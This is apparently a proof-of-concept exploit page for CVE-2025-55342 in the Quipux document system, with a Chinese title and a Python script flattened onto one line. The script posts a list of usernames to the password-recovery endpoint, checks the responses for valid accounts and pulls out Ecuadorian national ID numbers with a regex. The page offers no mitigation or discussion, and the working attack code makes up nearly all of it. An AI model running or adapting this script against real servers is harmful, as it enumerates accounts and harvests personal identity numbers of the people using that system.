CVE-2025-55342 Quipux用户名枚举及身份证号泄露漏洞

import requests import re # CVE-2025-55342 PoC - Quipux User Enumeration and ID Number Disclosure # Target: Quipux <= e1774ac # Endpoint: /Administracion/usuarios/cambiar_password_olvido_validar.php TARGET_URL = "http://target-server/Administracion/usuarios/cambiar_password_olvido_validar.php" def enumerate_users(usernames): """ Enumerate valid usernames and retrieve Ecuadorian ID numbers """ results = [] for username in usernames: try: response = requests.post( TARGET_URL, data={'txt_login': username}, timeout=10 ) # Check for different response patterns indicating valid user if 'cedula' in response.text.lower() or 'cédula' in response.text.lower(): # Extract ID number using regex patterns id_pattern = r'\d{10,13}' # Ecuadorian ID is typically 10 digits id_match = re.search(id_pattern, response.text) if id_match: results.append({ 'username': username, 'id_number': id_match.group(0), 'status': 'VULNERABLE' }) print(f"[+] Found: {username} -> ID: {id_match.group(0)}") except requests.RequestException as e: print(f"[-] Error testing {username}: {e}") return results if __name__ == "__main__": # Example username list for testing test_usernames = ["admin", "user1", "user2"] vulnerable_users = enumerate_users(test_usernames) print(f"\nTotal vulnerable users found: {len(vulnerable_users)}")